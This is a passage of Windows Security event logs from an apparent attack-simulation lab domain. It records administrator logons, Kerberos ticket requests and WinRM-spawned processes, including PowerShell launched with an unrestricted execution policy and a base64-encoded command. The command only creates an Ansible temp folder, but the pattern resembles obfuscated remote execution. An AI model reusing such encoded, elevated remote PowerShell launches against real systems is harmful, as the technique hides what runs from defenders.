-EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADYAMQA4AC4AOQA0ADAAOQAwADQALQA4ADcANgA2ADcAMQA1ADAAMQA0ADEANAA2ADUAJwAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHQAbQBwAC4ARgB1AGwAbABOAGEAbQBlAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253163 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1958D1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253162 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1958D1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253161 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253160 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253159 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253158 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe6c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x378 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFkAQQBNAFEAQQA0AEEAQwA0AEEATwBRAEEAMABBAEQAQQBBAE8AUQBBAHcAQQBEAFEAQQBMAFEAQQA0AEEARABjAEEATgBnAEEAMgBBAEQAYwBBAE0AUQBBADEAQQBEAEEAQQBNAFEAQQAwAEEARABFAEEATgBBAEEAMgBBAEQAVQBBAEoAdwBBAEsAQQBGAGMAQQBjAGcAQgBwAEEASABRAEEAWgBRAEEAdABBAEUAOABBAGQAUQBCADAAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEATABRAEIASgBBAEcANABBAGMAQQBCADEAQQBIAFEAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAGsAQQBIAFEAQQBiAFEAQgB3AEEAQwA0AEEAUgBnAEIAMQBBAEcAdwBBAGIAQQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253157 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x378 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFkAQQBNAFEAQQA0AEEAQwA0AEEATwBRAEEAMABBAEQAQQBBAE8AUQBBAHcAQQBEAFEAQQBMAFEAQQA0AEEARABjAEEATgBnAEEAMgBBAEQAYwBBAE0AUQBBADEAQQBEAEEAQQBNAFEAQQAwAEEARABFAEEATgBBAEEAMgBBAEQAVQBBAEoAdwBBAEsAQQBGAGMAQQBjAGcAQgBwAEEASABRAEEAWgBRAEEAdABBAEUAOABBAGQAUQBCADAAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEATABRAEIASgBBAEcANABBAGMAQQBCADEAQQBIAFEAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAGsAQQBIAFEAQQBiAFEAQgB3AEEAQwA0AEEAUgBnAEIAMQBBAEcAdwBBAGIAQQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253156 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1956BB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253155 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1956BB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253154 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253153 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253152 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253151 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253150 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Process Information: - New Process ID: 0x11d0 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information 